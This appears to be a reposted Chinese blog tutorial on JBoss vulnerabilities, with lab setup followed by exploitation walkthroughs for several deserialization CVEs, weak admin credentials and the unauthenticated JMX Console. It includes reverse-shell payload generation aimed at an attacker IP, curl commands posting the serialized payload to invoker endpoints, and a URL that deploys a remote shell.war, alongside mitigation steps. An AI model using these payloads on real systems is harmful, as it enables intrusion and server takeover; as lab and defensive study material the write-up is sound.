JBoss中间件漏洞总结
一.Jboss簡介
Jboss是一個基于J2EE的開放源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
默認端口:8080
二.Jboss安裝
下載地址:https://jbossas.jboss.org/downloads/
1.安裝jdk
這里用了兩臺機子,一臺安裝老版本Jboss4,jdk選1.6,一臺安裝Jboss6.jdk選1.7
這里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的話訪問JMX-console會報500;
安裝jdk步驟網上教程很多,我就不寫了,這里已經裝好。
2.下載并安裝Jboss6
下載jboss-6.1.0.Final:
將其拉入虛擬機c盤
新建環境變量:
JBOSS_HOME值為C:\jboss-6.1.0.Finalpath中加入:
;%JBOSS_HOME%\bin;在該目錄下雙擊run.bat啟動
C:\jboss-6.1.0.Final\bin出現info即為啟動成功,本地可成功訪問。
此時遠程訪問是訪問不了的,我們需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置實現外網訪問。將address="${jboss.bind.address}"改成address=“0.0.0.0”
保存后重啟jboss,即可實現外網訪問;
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-96RgaLYG-1630060388009)(C:/Users/zcc/Pictures/image-20210820105424802.png)]
3.下載并安裝Jboss4
Jboss4和Jboss6的安裝步驟一樣,唯一不同的是在外網訪問的配置文件上修改的地方不太一樣;
進去下面目錄,修改server.xml,如下圖成功訪問
C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer三.Jboss滲透
1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)
漏洞原理
該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了攻擊者可以在服務器上執行任意代碼。
影響版本
Jboss AS 5.x Jboss AS 6.x漏洞驗證
訪問/invoker/readonly,返回500(內部服務器錯誤——服務器端的CGI、ASP、JSP等程序發生錯誤),說明此頁面存在反序列化漏洞
漏洞復現
下載漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC
編譯(需要java環境)
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version這里我已經安裝好
開啟監聽
選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯并生成序列化數據;生成ReverseShellCommonsCollectionsHashMap.class;
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja va生成序列化數據ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192 .168.10.65:12345利用ReverseShellCommonsCollectionsHashMap.ser,以二進制格式發送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser成功反彈shell。
安全防護
1.升級新版本。
2.刪除http-invoker.sar 組件,路徑如下
3.添加如下代碼至 http-invoker.sar 下 web.xml的security-constraint 標簽中,用于對 http invoker 組件進行訪問控制。
<url-pattern>/*</url-pattern>路徑為:
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞原理
JBoss中/invoker/JMXInvokerServlet路徑對外開放,JBoss的jmx組件支持反序列化。JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。
影響版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0JBoss Fuse 6.2.0JBoss SOA Platform (SOA-P) 5.3.1JBoss Data Grid (JDG) 6.5.0JBoss BRMS (BRMS) 6.1.0JBoss BPMS (BPMS) 6.1.0JBoss Data Virtualization (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0漏洞驗證
訪問/invoker/JMXInvokerServlet,返回如下頁面,說明接口開放,此接口存在反序列化漏洞。漏洞復現
這里利用上面生成的序列化數據ReverseShellCommonsCollectionsHashMap.ser,發送到/invoker/JMXInvokerServlet接口中;
curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser成功反彈shell。
安全防護
同上;
3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
漏洞原理
這個漏洞與CVE-2015-7501一樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。差別在于CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。
影響版本
Jboss AS 4.x及之前版本漏洞驗證
訪問/jbossmq-httpil/HTTPServerILServlet,出現如下頁面,說明存在該漏洞漏洞復現
這里利用上面生成好的序列化數據,發送到改接口中:
curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser成功反彈shell
安全防護
升級到最新版本。
4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
漏洞原理
此漏洞和CVE-2015-7501漏洞原理相同,兩者的區別就在于兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化并上傳構造的文件。
影響版本
jboss 6.x 版本漏洞驗證
訪問/invoker/EJBInvokerServlet,如果可以訪問的到,說明存在漏洞漏洞復現
還是利用上面生成的.ser文件,通過POST 二進制數據上去,反向連接shell
curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser5.Administration Console 弱口令
漏洞原理
Administration Console管理頁面存在弱口令,登錄后臺可以上傳war包
影響版本
漏洞驗證
漏洞復現
admin/admin弱口令登錄,點擊add a new resource上傳war包
點擊war包進入下一層,若狀態為stop,則點擊start,默認都是start,不需要點。
蟻劍成功連接
安全防護
修改密碼,密碼文件路徑為
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties或者刪除Administration Console頁面
Jboss版本>=6.0,admin-console頁面路徑為
C:\jboss-6.1.0.Final\common\deploy\admin-console.war6.0之前的版本,路徑為
C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war6.JMX Console未授權訪問漏洞
漏洞原理
訪問控制不嚴導致的漏洞,默認情況下訪問 http://ip:8080/jmx-console 就可以訪問管理控制臺,不需要輸入用戶名和密碼就可以直接瀏覽 JBoss 的部署管理的信息,部署上傳木馬,存在安全隱患。
影響版本
JBOSS 全版本漏洞驗證
點擊主頁的JMX Console進入頁面
漏洞復現
Jboss4.x的復現:
kali開啟遠程服務,為了下面部署war包
進入JXM Console之后,找到jboss.deployment
點進去找到void addURL(),輸入遠程war包鏈接之后,點擊invoke
回到這個頁面上方,點擊Apply Changes
返回到JMX Console頁面,等待一會,刷新后可以看見部署成功
蟻劍成功連接
Jboss6.x的復現:
步驟差不多一樣
在該頁面找到methodindex為17or19的deploy,填寫遠程war包的地址進行遠程部署
或者是直接運行下面的語句部署即可
http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war蟻劍成功連接
部署的路徑為如下,可以看見自動部署出war中的文件。
C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost安全防護
關閉jmx-console和web-console,提高安全性。
7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)
漏洞原理
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對外開放,并且沒有任何身份驗證機制,導致攻擊者可以進?到jmx控制臺,并在其中執?任何功能。
影響版本
Jboss4.x以下漏洞復現
輸?url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()分別向四個參數傳入內容:
p1傳入的部署war包的名字,p2傳入的是上傳文件的文件名,p3傳入的是上傳文件的格式,p4傳入的是上傳文件的內容
點擊invoke
經過測試,已經寫入,但是目錄底層不對,跳轉不過去,無法上線蟻劍,這是個問題,暫時保留,有師傅有解決方法可以告訴我一下,萬分感謝。
安全防護
目前官方已經發布了升級補丁以修復這個安全問題,請到官網的主頁下載:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036
四.自動化滲透
jexboss自動化滲透
jexboss是針對jboss滲透自動化估計武器,是用于測試和利用JBoss Application Server和其他java平臺、框架、應用程序等中的漏洞的工具。
下載地址:https://github.com/joaomatosf/jexboss
這里演示的環境是我上面搭建的4.x和6.x的環境。
輸入命令
python jexboss.py -host http://192.168.10.213:8080/輸入yes即可
成功交互。
總結
以上是生活随笔為你收集整理的JBoss中间件漏洞总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 变桨距风力发电机液压系统设计
- 下一篇: 联想微型计算机m73拆机,联想M73更换